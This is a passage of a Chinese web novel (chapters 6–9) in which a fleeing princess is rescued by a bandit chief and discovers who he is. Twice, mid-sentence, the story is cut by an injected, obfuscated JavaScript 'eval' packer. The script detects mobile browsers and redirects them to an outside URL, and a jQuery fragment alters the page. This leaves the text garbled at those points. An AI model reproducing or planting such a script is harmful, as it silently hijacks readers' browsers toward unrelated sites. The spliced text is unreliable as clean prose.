此刻唯一担心的事被一语道破,方渐简直快咬碎了牙。 她说得没错。 此处名为虞山,位处伊陵郡与宛郡的交界地,数条明渠暗渠从虞山而过,地形极为复杂。 也正是因这样复杂的地势,才酝酿出了云州一带最大的匪寨。 根据伊陵郡太守的密报,这匪寨就藏在虞山北坡腹心处,因山上多黄栌红枫,故名红叶寨。 别看这寨子建的时日不长,在绿林之中却颇有名头。 道上相传一句“宁遇豺狼,不遇山魈”,说的就是红叶寨的寨主。 这位诨名“山中魈”的寨主不知具体年岁,只知极为年轻,生得虎背蜂腰,英武非凡,出入威风煊赫,随从无数,常在笑语间杀人越货。 甚至听说,伊陵郡内有许多官员都与他暗中往来,私相授受者不计其数。 伊陵太守倒是有心除掉这块心病,然而剿匪两次,无果。 红叶寨又还不到割据一方,称王称霸的程度,底下官员们一合计,就将此事瞒报了下来。 待到日后这红叶寨真反了,再一股脑推给上头的州牧烦恼便是。 只是红叶寨迟迟没反,伊陵太守却先搭上了皇后身边的关系。 听说是想借刀杀人。 正巧,伊陵太守亦有此意,双方一拍即合,卫尉杨琨吩咐方渐,让他中途务必令御船改道,途经红叶寨的水域。 计划周密,唯有一处要害。 ——绝不能真的跟红叶寨匪贼碰上。 否则,只怕借来的刀杀不了人,他们自己反倒身首异处。 方渐狠踹了身旁下属一脚: “愣着做什么!连个小宦官都打不过,一群废物,还不快追!这趟差事办不好,你们全家的脑袋都保不住!” “喏!” 追赶着骊珠和长君,众人朝红叶林中深入。 6.第 6 章 被水浸湿的裙袍沉甸甸的,逃跑中不是被树枝勾到,就是绊住她自己。 骊珠愤愤撩开裙摆,挽起宽袖,甩开手臂拼了命地狂奔。 待长君朝后连射三箭,扭过头,惊觉自己居然差点被骊珠甩开,连忙加快脚步跟上。 “公主,您不是说要往林深处逃吗?怎么……” “骗他们的!” 呼啸而过的寒风灌进心肺,骊珠几乎力竭,只能几个字几个字地往外挤。 “沿岸边跑!找陆誉!” 现在陆誉才是他们唯一的指望。 陆誉和他的手下要是死在昨夜,那没什么好说的,骊珠再逃也是枉然。 但假使陆誉还活着,她的挣扎就不是白费功夫,既然方渐一行人能追到这里,那陆誉他们未必不能找过来。 至于方才说的什么大盗。 “诶呀——” 跑着跑着,骊珠跌了一跤,还不等长君来扶,自己就一骨碌爬起来继续跑。 “别管我!别停!” 事实上,不只是方渐他们怕碰上匪贼,骊珠更是怕得要死。 那都可是刀口舔血的人! 他们杀人越货,谋财害命,百无禁忌,遇上他们就如遇上未经开化的野兽,岂有生还的可能? 再快些! 这不中用的腿,怎么这么快就要没力气了! “在这边!” “站住!” “弓箭手呢,放箭!” 箭鸣声嘶然,长君目光一凛,抽剑反身,斩落朝骊珠心口而去的冷箭。 方渐:“再放!我就不信,他有三头六臂能全挡下!” 身后传来的箭矢声顿时更密三分。 骊珠牙齿打颤,根本不敢回头,她放眼张望四周,却始终见不到陆誉踪迹,颤动瞳仁里渐渐溢满绝望。 身后传来一声闷哼。 “长君!” 身中一箭的长君忍着剧痛,反手斩下箭身,对骊珠大喊: “快走!长君尚能拖延一阵,再耽搁就……” 小宦官手中长剑坠落在地,骊珠慌忙拾起,却听身后脚步声愈发密集,近在迟尺。 骊珠颤抖着举起剑。 “您可真是让我们一路好追啊。” 骊珠:“别过来——” 长剑挥舞得毫无章法,方渐抬手示意旁人勿动,朝骊珠信步走去。 此刻的少女可以说狼狈至极。 湿透的衣袍沾满荻花飞絮,被这一路逃命勾得破破烂烂,云鬓散乱,连雪白面颊也满是泥污。 但即便如此,那张怯生生的娇靥也如珠玉落泥沼,难掩璀璨。 方渐的双眼似蛇一般摄人。 “此刻形势,你一个娇娇女郎,拿这剑有什么用?该向我求饶才是。” 骊珠泫然欲泣:“……求饶,阁下就能放我一条生路?” “当然不能。” 方渐仿佛在笑她天真。 “求饶可以让你死得痛快些而已,公主金枝玉叶,恐怕都不知道有什么不痛快的死法,需不需要在下慢慢告诉……” 谁也没料到这个剑都不会拿的娇贵公主会突然提剑下刺。 距她三步之遥的方渐毫无防备,脚背瞬间被捅了个对穿。 剧痛之下,方渐浑身僵直不能动,她却将剑拔出以身带剑,朝前横撩。 方渐直觉腹部一阵剧痛,低头一看,面色陡变—— 这一剑竟将他开膛破肚! “你会用剑!?” 被属下搀扶住的方渐痛得肝胆俱颤,目眦欲裂。 负伤在地的长君望着她背影,亦觉得陌生: “公主,你怎么……” 公主的双手只懂如何握竹笔,何时学会的用剑?谁教她的? 骊珠一改方才怯弱神态,血气上涌,满面怒容地喝了一声: “我还会杀人呢!” 她提剑就要再刺,然这一次对方有了防备,再不敢小瞧她,一人抬脚踹向她手腕,骊珠吃痛,顿时有人抬手来夺。 骊珠虽会使剑,但从没实战过,力气更是远远不及这些武夫。 争夺间,骊珠大腿处一阵剧痛,身形猛然一晃。 趁此机会,蒙面人一拥而上,摁住骊珠臂膀的同时,也擒住了地上的长君。 方渐几乎快痛死过去,暴跳如雷: “……贱人!居然装模作样引我大意,先杀地上那个!给我把他剁成肉泥!摁住她,让她亲眼瞧着!” 大腿处皮开肉绽,鲜血淋漓,骊珠却全然顾不得,猛地往长君的方向扑。 咻——! 伴随着一声箭鸣。 预料中的死亡没有降临,骊珠只感觉一盆热乎乎的东西浇在了她身上。 睁开眼,骊珠始料未及地对上一张死不瞑目的脸,瞳仁一缩。 有人偷袭! “什么人!?” 所有蒙面人齐齐拔剑,警戒四周,然而还没看清敌人方位,又有三人同时倒地! 骊珠踢开眼前被一箭贯穿头颅的尸首。 “肯定是陆誉!” 顾不得身上的血污,她抱住气若游丝的长君,一边猛拍他的脸,一边喜极而泣道: “陆誉来救我们了!” 她就知道! 天无绝人之路! “方大人,箭是从北边……” 又一人被箭射中倒地。 捂着腹部的方渐大骇。 不会是陆誉一行。 昨夜他安排了一路死士,专门牵制陆誉,他们没那么快赶来。 跑!保命要紧,命都没了,皇后许他再多金银权势也是枉然—— 正想着,林中突然有人喝了一声“收”。 铺满林中的红叶陡然腾起,方渐脚下一轻,一张久埋在地的大网瞬间将他网罗其中! 以为死里逃生的骊珠脸色一变。 不对劲。 长君也有所觉察,挣扎着直起身护在骊珠前面,虚弱道: “真要是那个陆大人……他们匆忙追赶,怎么来得及在偌大片红叶林中设伏?” 不是陆誉,那会是谁? 骊珠顿时联想到了最可怕的答案。 方渐被缚后,又有套索冷不丁飞来,精准勾住那些乱了方寸的蒙面人。 喉间一紧,连一丝挣扎余地都没有,便被倏然拖入了林深处。 一切都发生得迅速而有序。 红叶林中,有嘻嘻哈哈的喧闹声从四面八方传来,却不见半个人影。 “就这点手段,也敢来我红叶寨前耍弄?” “三当家这双臂真是水牛大的力气,一连十来箭,准头分毫不差!” 山麓后,朝日喷薄欲出,驱散林中黑暗,也照亮了不知何时蛰伏在枫林中的重重人影。 十个,二十个,五十个……不对!起码近百人! 骊珠脑子嗡的一声炸开。 真遇上匪盗了! 鞋履踏过红叶,凌乱的脚步声朝他们逼近。 大脑空白的骊珠无意识往后腾挪。 “仇二哥快看!方才你还说这两个都是小娘子,我怎么瞧着地上晕过去这个,好像是个小子啊!” “这小子细皮嫩肉,连胡须都没有,怎么生得跟个丫头似的?” “怪哉,该不会是个女扮男装的小娘子吧?” “什么小娘子,脖 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他的穿着很是不伦不类。 一袭华贵的孔雀蓝锦袍乍看文雅,却半穿半袒。 垂下的袖管随意别在劲瘦腰间,里面贴身的玄黑劲装似是为了方便拔剑,紧紧束着护腕,丝毫不拖泥带水。 再往下,腰间革带上有环扣,悬着沉甸甸的短剑匕首。 行走步伐间,伴随着沉闷撞响的金属声,一股令人心底发寒的肃杀之气扑面而来。 不知是不是这人压迫感太强。 骊珠忽而觉得自己脑子阵阵发晕,心跳极快,背后更是冷汗湿透,耳畔有尖锐的耳鸣,几乎听不清周遭声音。 骊珠竭力让自己保持清醒。 不、不能晕。 她绝不能被吓晕! 往好处想想,至少现在,他们有共同的敌人。 而且,他们抓了方渐的人,却没对她和长君动手,说明这些匪盗似乎也并不是滥杀之辈? 或许还能与他们讨价还价? 墨发如刀裁的男子在她眼前站定。 离得近了,骊珠发现他留着一头极短的发。 发梢刚过锁骨,其中一缕编做细辫,饰以赤金环扣,随他走动摇动着冰冷光泽。 他头发绞得这样短,平日如何束发戴冠? 身体发肤受之父母,他的亲族上下就无人阻拦他吗? 不对,落草为寇的匪贼还有亲族吗? 一个一个疑问从骊珠脑海里冒了出来。 荒诞、危险、不可理喻。 这是一个从身份到外貌,都远远超出骊珠两世经验的人。 就在骊珠审视他时,他也一语不发地俯瞰着骊珠。 从上到下,不疾不徐地扫视她一个来回。 虽然他什么也没做,什么也没说,但那道视线仿佛具备一种有形的力量,一寸寸,从皮囊到骨髓地将她舔.舐过。 好恐怖。 骊珠不自觉吞咽了一下。 她后颈发凉,莫名生出一种被狩猎感。 扛不住这样的压力,骊珠缓缓攒出一个略带讨好的笑意。 她道:“多、多谢好汉出手相……” 好汉没有说话。 她笑起来颊边有一对很浅的梨涡。 很无害,很温软——方才也用这样一张脸很果断地给那个蠢蛋剖了腹。 下一刻,他抬手解了自己的腰带。 骊珠的笑容凝固在唇角。 7.第 7 章 革带环扣的冰冷撞击声,让骊珠面上笑意显得颇为滑稽。 两息后,骊珠浑身血液直往脑门上冲。 “士可杀不可辱!!我、我跟你拼——” 骊珠使出吃奶的力气,抬脚便朝他下半身猛踢。 然而对面的男子正欲半蹲下来,这一脚等于兜头朝他脸而去。 他眉梢一挑,立时微微后仰避开,同时精准攥住了骊珠的脚踝,那双手强硬且滚烫,覆住骊珠纤细脚踝简直不废吹灰之力。 奇耻大辱! 骊珠怒目切齿,恨不能生啖他骨血! 他若真敢冒犯她,她反倒不能轻易赴死,那也太便宜他了! 但凡今日她还有一口气,还能逃出生天,她一定要杀回来烧了他的山,屠了他的寨,让他为今日之举付出代…… 只露出半张脸的男子,突然毫无预兆地笑了一下。 骊珠霎时呆住。 好奇怪,是她太害怕了吗? 为何在这种时候,她会联想到裴胤之? 想到他,心底那些被一时愤怒压过的恐惧与委屈,瞬间涌了上来。 胤之,胤之。 要是他在,她岂会受这样的欺辱? 骊珠双眸蓄满眼泪。 绝对的力量差距前,这回她是真没办法,真要认栽了。 男子双唇开合,似乎说了些什么,骊珠隐约看到他舌尖一侧似乎嵌着某种质地冰冷的硬物。 但来不及在意那是什么东西,骊珠脸上浮现茫然神色。 他在说什么? 一阵耳鸣声压过外界声音,她发现根本听不清他说了什么。 还没等她想明白,脚踝处突然传来一股拉力,一阵惶恐惊惧如潮水涌上。 一只大手攥住她大腿侧。 骊珠闭上眼胡乱厮打,边抓边喊: “你敢动我!敢动我一下你全族就完蛋了!” 另一只腿也被他摁住固定,虎口铁钳般有力,指腹深陷入肉,力道大得无法撼动分毫。 “卑鄙贼人!天打雷劈!欺辱弱女子你不得好死!” 听了这话,他唇角翘了翘,居然在笑,笑得有点欠。 骊珠黔驴技穷,大哭一声:“娘!救我!” 一直低着头的男子抬眸扫她一眼。 下一刻,他脖颈一痛。 “嘶——” “山主!没事吧!?”旁边立着的那个灰袍人出声。 “没事。” 男人反手按住自己的脖颈,再放下手,一看掌心,竟有丝丝鲜血。 是骊珠用藏着手里的石头片划出来的。 灰袍人盯着狼狈抽泣的少女,微微拢眉道: “好个恩将仇报的小丫头,山主都跟你说了,你腿上这伤再不包扎就没命了,你不感激也就罢了,怎么伤人,下手还这么狠辣!” 此时此刻,即便骊珠耳鸣听不太清声音,也察觉到事情与她想象的好像不太一样。 她抹抹眼泪,低头一看。 方才男子解下的革带,紧紧系在了她的右腿根部。 就在革带下方,之前与蒙面人交锋时留下的剑伤血如泉涌,将她整条裙摆都染成了暗红色。 ……难怪她又晕又耳鸣,流了那么多血能不晕吗? 经历了这一路生死追杀,骊珠实在难以相信,一个素昧平生的匪贼居然会出手救她。 骊珠扔开手里锋利的碎石片,眼中有歉然之色: “对不住,我耳鸣听不太清,我还以为……” 一直在审视她的男子,看到她眼中愤怒与戒备渐渐消融。 她仰着一张沾了荻花与泥泞的娇靥,眼角还挂着没擦干的泪,水汪汪,黑亮亮,像只被人从泥潭里捞出来便满心感激的小狗。 警惕心也太低了些。 没等少女把那些叽里咕噜的话说完,他抬手绕至她后颈。 骊珠怔怔,只觉发髻一松,如流云般的乌发便顺着肩头倾泻而下,柔柔地堆在了她的胸前。 他垂着腕,骊珠的金步摇在他指间转了转。 步摇映着晴日,金光灿灿,照在那一头顺滑浓密的长发上,泛着绸缎一样的光华。 望着骊珠的双眸沉如黑夜。 “金还是铜的?”他问。 耳鸣仍在,他的声音隔着层雾,骊珠只能勉强听清内容。 “……纯金的。”她答。 男子略一颔首,将步摇随手抛给身后的灰袍人。 骊珠:? 那是她最喜欢的金步摇! “山主!” 男子偏头去看,一人匆匆跑来,满脸喜气洋洋道: “岸边有一艘漕船,里面满船的箱笼,小七打开几个看了看,有金有银,还有冬虫夏草,灵芝鹿茸之类的,这一船,起码值这个数!” 说话那人摊开十指,笔划得眉飞色舞。 “是吗?”他接过旁人递来的一根抹额,随手当腰带系在腰间,“去看看。” 掸了掸身上被骊珠踹出来的泥巴脚印,他走了两步,又想起什么,看向地上分外迷茫的少女。 “丹朱,叫老于头来,诊费都收了,给这两人瞧瞧,有救就治。” “晓得了。” 丹朱吩咐手下去寻人,回过头,对上少女略显迷茫的神色。 “小娘子不必怕,咱们红叶寨有五不准,七不夺,跟那等不入流的匪贼不同,不做奸.□□人的恶行。” 她问:“他说的诊费……” 丹朱半蹲下来,龇牙一笑: “多谢娘子馈赠。” ……谁馈赠了!他们这是明抢! 骊珠柳眉倒竖,刚要驳斥,余光扫过这女子跟她小腿一样粗的臂膀,突然反应过来。 方才百步穿杨、力大如水牛的三当家,说的就是这位。 那点勇气瞬间烟消云散。 骊珠憋气地瞪着眼: “那……你们会放了我们吗?” “自然。” 丹朱从怀里摸出一条皱巴巴的手帕,递给她擦脸。 “我们寨子不养闲人,你们这一个娇娘子,一个半大小孩,想留下来我们还不肯呢,除非……嘿嘿。” 骊珠:“……” 她不太想知道那个“除非”。 但听到对方答应放人,不得不说,骊珠默默松了一口气。 钱财身外之物,被抢了不重要,能保住性命才是最重要的。 只是可惜了她给裴胤之准备的那些东西。 生存危机一解除,骊珠看着这满山红叶,碧波澄澈,心思渐渐活泛起来。 虽说离开这里之后,骊珠肯定要与本地官员联络,重新得到朝廷卫兵的庇护。 但是——这里是伊陵郡诶。 她不必绕道去宛郡,特意敷衍覃珣一趟,借着这次意外,她可以顺水推舟,直接去裴府。 假装逃难至此也好,伪装成偶遇也好。 这可比骊珠之前计划的相遇方式更天衣无缝。 而且,救下公主是大功一件。 若让裴胤之送她去官府,父皇必定重赏,金银财帛倒是其次,赐个虚爵也不是不可能。 望着浅滩边那些匪贼的方向,骊珠灰扑扑的脸骤现光彩。 却说漕船那边,匪贼们干劲十足,正将船上箱笼一个个搬下来,灰袍文士从林中匆匆走到山主身边。 “审得如何?” 灰袍文士神色凝重地摇摇头: “全死了,除了被开膛而死的那个,其他都是服毒自尽的,不是道上人,看样子应该是派来杀那娇娘子的死士。” “身上物件有无特征?” “这正是最奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15885205|175921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪的地方。” 灰袍文士递来一根染血的箭。 “这些人所用刀剑箭头,衣袍抹额,都是咱们红叶寨的东西——估摸着是知道我们红叶寨名头大,官府轻易都不敢招惹,什么脏水都想往我们脑袋上扣。” 山主接过箭,对着光端详了一会儿,问: “那,你觉得那个娇娘子是什么来头?” 灰袍文士随手打开一个箱笼瞧了一眼,道: “这满船的药材,看行船方向,估摸着是从雒阳来的哪家大药商家里的娘子,或是争家产吃绝户,或是同行寻仇,富贵人家里藏污纳垢的事再多不过了。” 男子挑眉:“这么简单?” “那……山主觉得呢?” 他未置可否。 浅滩上一个个箱笼打开,他逐一看过去,发现除了药材以外,还有不少的简帛。 那娇娘子倒是个爱读书的,出趟门都还带着两大箱书简。 随手展开一看,满卷不是之乎者也,就是圣人曰子曰,密密麻麻挤在竹片上,扫两眼都叫人头疼。 他随手丢开这些书卷,转而去看旁边那箱赏心悦目的金子。 身后传来一瘸一拐的脚步声。 “那个……” 这声音细若蚊蚋,尾音带着颤。 男子回过头,对上视线时,她本就苍白的面庞看上去更怯弱三分。 但她还是鼓起一种莫名的勇气,大着胆子出声: “丹、丹朱姐让我来问你……” “耳朵不聋了?”他道。 ……好无礼的人! 骊珠悄悄捏紧拳头。 那个老医师都说了,她只是失血太多才会有点耳鸣而已,不会聋! “不聋的,虽然还有点嗡嗡响,但听得清。” 骊珠攒出友善的笑意,组织了一下语言,含蓄开口: “方才丹朱姐跟我说,红叶寨盗亦有道,图财不图色,不知是真是假?” 山主抬眼,视线如火舌,在她一身湿衣上隐晦却又不容忽视地撩过。 “难说。” 骊珠:!!! “有话直言。” 骊珠被他那一眼扫得毛骨悚然,头发丝都快炸起来了。 她慌忙加快语速: “实不相瞒我家中在雒阳经商,然而天有不测风云人有旦夕祸福家父早亡我便带着金银细软前来投奔亲族,没想到途中被一伙贼人追杀幸得好汉相救,不过这一路仆役散尽,我人生地不熟出了这里也是两眼一抹黑——” “所以,你能不能派个人给我指指路?” 他气急反笑。 还挺得寸进尺。 他看起来很好说话的样子吗? 男子扭过头来,对上一张灰扑扑的脸。 被冷汗浸湿的乌发贴在面颊那张脸因失血而显得苍白纤弱,如绢帛上一朵灰蒙蒙的白牡丹。 狼狈,孱弱,又有股奇怪的韧劲。 顿了顿,他道: “伊陵郡的富户我还算了解……你要找哪家?” 骊珠眼眸骤生光彩。 “裴胤之!” 她清脆地唤出这个名字,丝毫没察觉到旁边的灰袍文士一瞬间睁大了眼,刷地一下朝自家山主看去。 “这位山主可知,裴胤之家在何处吗?” 浅滩风急,荻花摇曳。 此刻他才明白,为何指路这种小事,丹朱也要将人推到他面前来问。 半蹲在箱笼前的男子将手里金银扔回箱子。 这一次,他才正儿八经地审视起眼前的少女。 “哪个裴胤之?”他笑。 “伊陵裴氏的裴,永锡祚胤的胤,他丰神秀慧,才华横溢,是这天底下最好的小郎君,你若将我安全送到他身边,我保证,他会赐你金银满堂,荣华富贵!” 8.第 8 章 他在心中咀嚼着这个名字。 准确来说,此人名裴绍,字胤之,亲近之人多唤表字,她张口便称裴胤之,想必关系匪浅。 只不过…… 丰神秀慧?才华横溢? 这两个词,裴胤之那个狗玩意儿配得上哪一个? 他静静看着骊珠。 “哦?你跟他什么关系?” 他真的认识胤之! 骊珠的眼眶瞬间涌出泪花。 从昨夜到今日,骊珠在鬼门关里走了好几遭,此刻见到认识裴胤之的人,与抓到救命稻草无异。 哪怕她知道,此刻的裴胤之还不认识她。 但即便素不相识,骊珠也相信,裴胤之不会对一个落入匪贼手中的女子置之不理,他一定会救她。 泪珠吧嗒吧嗒往下掉,骊珠一边擦泪一边道: “我跟他……” 可话又说回来。 裴胤之会救她,眼前这个不好惹的匪贼头子却不一定。 她要是老实说,自己只是认识裴胤之,除此以外没有别的关系,甚至裴胤之并不认识她——他会愿意派人带她走一遭吗? “我是他的未婚妻。” 两息之内,骊珠胡诌出了一个身份。 那人抬手半掩面庞,虎口抵着鼻息,短促而戏谑的轻笑。 骊珠总算发现她为何觉得这人似曾相识了。 虽然面具遮住了他大半张脸,只露出薄唇和下颌,但骊珠还是辨认出了一个熟悉的影子。 他笑起来有点像胤之。 不同的是,裴胤之的笑容和煦,温柔,深情款款。 这个人笑起来疏朗随性,又有几分戏谑,甚至还有点不易察觉的邪气。 他会是裴胤之的亲族吗? 骊珠心头一跳,发现自己并没有考虑过这个可能性。 她只知道裴胤之是裴家二房之子,大房有个堂姐,除此之外,没听他提起过还有其他兄弟姐妹。 ……或许是因为对方落草为寇,所以才避而不提? 也不是没有这种可能性。 骊珠心虚了一下。 但谎话已经说出口,现在想改是不可能了,她只能硬着头皮,迎上他不辨其意的笑。 “你不信我?” 他侧身合上那一箱金银,从容坐在箱盖上,掀起眼帘。 “信啊。”他弯着唇,“就是不知,娘子家财如此丰厚,何以看得上伊陵裴氏这样的小小寒门?还看上……那个貌不惊人的裴胤之?” 貌不惊人? 她不一定耳聋,他肯定眼瞎! “这你就别管了,反正我就是他的未婚妻,他命中注定的良缘!” 这句话说得掷地有声。 一旁知晓内情的灰袍人却听得心惊胆战,忍不住去看年轻山主的脸色。 红叶寨内,只有他和丹朱知道山主和伊陵裴氏的关系。 这个自称裴胤之未婚妻的小娘子,运气可真是太差了点,遇见谁不好,偏偏遇见从小就与裴胤之不对付的山主,这下…… “那个撮鸟算个狗屁良缘。” 急转直下的语气令骊珠始料未及。 紧接着,她见坐在箱子上的男子站起身,朝她靠近。 这是他们第一次面对面对峙。 骊珠突然发现,这人不仅下半张脸与裴胤之相似,就身高也极像。 他站在她一步之遥,一步一步,不疾不徐,直至将骊珠整个人都笼罩在他的阴影下。 从他躯体上散发出的热度,还有无法捉摸却如影随形的掠夺感。 这种感觉,骊珠太熟悉了。 在他靠近的同时,她的身躯也在微微颤栗,却并不是害怕,而是一种呼之欲出的预感被他引燃。 “你……” 骊珠双唇微启,怔怔望着缓缓揭下面具的年轻匪首。 仿佛有一只手拨开迷雾。 雾后是男子淡然微扬的眉,浓黑幽静的眸,唇边噙着一点笑吟吟的弧度。 熟悉而又让人目眩神晕的风流佻达—— 如此清明地,呈现在骊珠面前。 他勾着怒猿面具的系带,慢悠悠道: “我长得比他好看多了,小娘子,嫁他……不如嫁我啊。” 世界在这一瞬安静。 骊珠苍白的唇动了动,却什么也没说出来。 倒是浅滩周围的匪贼们听了这话,先是安静了片刻,随即爆发出一阵七嘴八舌的起哄声。 “扛了去扛了去!” “俺们山主家财万贯,亏不了小娘子!” “诶,何止呢?山主那是神仙的貌,驴大的货,跟了咱们山主,包你后半辈子瞧不上第二个男人!” “择日不如撞日,就今儿个入洞房!” 众匪蹿哄鸟乱,猴子般躁动起来。 灰袍文士也瞪大了眼。 但很快,他似明白了什么,有点无奈地扫了山主一眼。 “……” 骊珠对这些纷纷扰扰的目光毫不关心。 她闭了一下眼,又睁开: “你先告诉我,你叫什么?” 少女的镇定在对方意料之外。 他看了她一会儿,似笑非笑地问:“真愿意嫁我?” “名、字。” 骊珠一字一顿地问。 对方望着她的眼神变得有些古怪。 因为她的模样很不寻常。 那副蓄势待发的神情,就好像他一个答错,就将引来极为可怕的后果。 但她只不过是一个身娇体弱的小娘子而已,能拿他如何。 他迎上她的目光,漫不经心答: “裴照野,照单全收的照,野马无缰的野,家贫无从致书,家不贫也不爱看书,无才无德,落草为寇,道上诨名‘山中魈’,是这虞山红叶寨坐头把交椅的山主——” 骊珠只觉天旋地转。 她无不荒谬地想: 前世那些人诟病裴胤之出身太低,真该让他们来听听裴胤之今日这番自我介绍,才知道,他这出身居然还有下降的余地! 相较之下,伊陵裴氏至少祖上阔过。 哦,不对。 他现在不叫裴胤之了。 “裴照野。” 骊珠轻声念着这个名字,看看他,又看看周围仿佛野猴子似的匪贼们。 她颔首:“裴照野,原来你叫这个名字。” 裴照野看着她怔怔有些恍惚的面庞。 “你叫什么?”他问。 “我……” “诶!” 从林里走来的丹朱大喝一声: “她要晕了!” 话音刚落,就见那灰头土脸的少女整个人往前倒去,直愣愣地栽进了男子的臂弯里。 - 嘈杂声随江水远去,骊珠的意识陷入一片混沌。 失血过多和惊吓,令她神思不稳,一会儿觉得自己还在红叶林里逃命,一会儿又好像回到了前世。 冬日,公主府内庭院,有密雪声。 “公主这一剑匠气太重了些。” 修长的手折下一枝宫粉梅花,迎上剑锋,雪落如细盐。 “真遇上歹人,公主不要想着如何接下他一招,应该想如何让他出不了下一招,比如像这样——” 梅花枝贴着剑身绕上骊珠的腕骨,不轻不重地一点。 “断他一腕,让他没机会再出招,公主才能保全自己,明白吗?待会儿女武师来,公主记得再练一次。” 骊珠盯着他。 “你不去上朝吗?” “马上就走。” “哦,那我跟你一起吧,不是说边关缺守将吗?你看我怎么样?” “公主说笑。” “说笑?我可没说笑,晚上要再来一次,早上这个也要再练一次,你把我练得这么结实,不如拉我去打仗算了——” 骊珠气得用头撞他。 他故意没站稳,两人跌在庭院雪地里,路过的仆役们掩唇吃吃地笑。 “公主明鉴,臣如何舍得公主上战场,以公主在床榻上的胆气,岂不是刚上战场就要投降?” 骊珠忙捂住他的唇,耳尖红红,咬牙切齿。 “那你还给我请女武师,还让我天天早起晨练!” “公主啊……” 他被骊珠压在雪堆里,却微曲长腿,将她不动声色地禁锢。 雪落在他眼睫,他眼珠很黑地望着她。 “这世间事,要是能皆随我意,定不让公主有半分不顺心,可惜我势孤力薄,只是一个很多事都无能为力的凡夫俗子,总有无法周全之处。” “到那时,还望公主能替我保护好我的妻子。” 她那时是如何说的呢? 混混沌沌的片段里,传来女子无忧无虑的笑语。 ——我的胤之是举世无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891076|175921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双的大英雄,只要有你在,谁也伤不了我。 - “行了,放心吧!脏衣服换了,身子擦了,伤口也是我亲手上药,一点没烂,七日之内包好。” 从里间出来的丹朱抓起水壶牛饮一口。 刚坐下,又忍不住兴致勃勃道: “不过这小娘子好白啊!摸着滑溜溜的,身上竟是一点疤痕都没有,真像是金玉堆出来的神仙妃子,等她醒了,我得问问她平日抹的都是什么脂膏。” 灰袍文士听了个大红脸,忙道: “好了好了,这个就不用说了。” “顾秉安,又装起来了是吧?就你懂礼,你这么懂礼,我夸人家皮肤白摸着滑溜你脸红什么?你脑子里想什么呢?” “我……山主,你听听她是不是强词夺理!” 顾秉安忿忿看向九枝灯下的侧影。 那人正在灯下看一份信,是从漕船的箱子里一并翻出来的。 他看得很专注,直到顾秉安出声打断,他才慢吞吞抬头。 “你是挺装的。” 又瞥向丹朱。 “有多滑?” 丹朱:“嘿嘿,比咱们去年从朔州富商那儿抢来的那块羊脂玉还滑!” 顾秉安气绝。 “不过,我猜你确实会对这个更感兴趣。” 裴照野将手里的简牍丢到顾秉安怀中,他起初不解其意,仔细一看,惊得手都抖了一下。 “……当朝太傅郑慈写给大儒谢稽的举荐信?” 男子撑着下颌:“再仔细看看内容。” “……裴胤之!?” 顾秉安声调都变高了。 “不是,他凭什么?这可是谢稽!谢家乃经学世家,门生数百,大雍礼制都是他祖父主持所定,裴胤之那个病秧子,那个品行,让他当谢稽的门生,他学得明白吗?” 但凡是个读书人,谁不清楚这封举荐信的分量? 清隽文士双目发红,恨不得抠掉简牍上“裴胤之”那三个字,再把自己的名字安上去。 他闭了闭眼,绝望地推给丹朱: “拿走,我不想看。” 丹朱笑:“怎么,嫉妒人家有个好未婚妻?” “我见不得命这么好的人。” 丹朱笑得直不起身。 两人说笑之际,裴照野默不作声地起身朝内间而去。 沉浸在睡梦中的骊珠丝毫不知,梦里待她温柔缱绻的夫君,此刻正站在她床头,居高临下地审视着她。 她竟真的是裴胤之的未婚妻。 如果不是未婚妻,谁会为他讨得这么有分量的举荐信,又怎么会带着成箱的名贵药材千里迢迢来寻他? 但裴家那边,为何没有丝毫风声? 顾秉安说得没错。 裴胤之那个狗玩意儿,命确实够好的。 都已经折断了他一条腿,裴家竟然还能给他骗来个自带万贯家财的美人,赠他名贵药材,给他前程铺路。 裴照野半蹲在她的榻边。 橘黄色的温润烛光包裹着榻上少女。 他一贯喜欢金光灿灿的漂亮物件,此刻也不得不承认,这张泪痕未干的睡颜,似乎比他抢来的任何金银玉器,都更华贵精美。 搭在榻边的手慢吞吞地轻敲。 要是放了她,她只怕立刻就会踏进裴家那个魔窟,被吃干抹净,做了帮凶伥鬼都还不自知。 他托着腮,静静思索该如何处置她。 白日的求娶之语不过是玩笑话,只是他没想到,竟会把人直接吓晕。 就这么讨厌匪贼? 他长得也没那么可怕吧。 不肯嫁他,还想跑去裴家扶持裴胤之那个狗东西拜名师,做大官—— 这可不行。 不如也将她的腿折断算了。 刚冒出这个念头,锦裘下,忽然探出了一只手,牵住了他。 骊珠服了镇痛的汤药,半梦半醒,压根分不清自己此刻在哪儿,但握住这只手的一刹,即便不睁眼她也知道眼前的人是谁。 这是她的夫君呀。 抓着那只骨节粗大的手,她不由分说地拉过来,将她满脸的泪水在他手背上胡乱蹭了蹭。 他眸底的烛光如火舌般跳动了一下。 骊珠迷迷糊糊地想: 真吓人。 等她醒来后,一定要告诉胤之—— 她做了个好可怕的噩梦! 9.第 9 章 骊珠是被一阵嘹亮的鸡叫声惊醒的。 ……这是什么鬼动静? 她茫然地睁开眼。 入目是烟色菱纹罗帷帐,手掌摩挲床榻,触手细腻,似乎是蜀锦的料子。 可再一细看,被面是山茶红,褥单却是蟹壳青。 这大红大绿的配色,简直毫无美感。 再放眼四下。 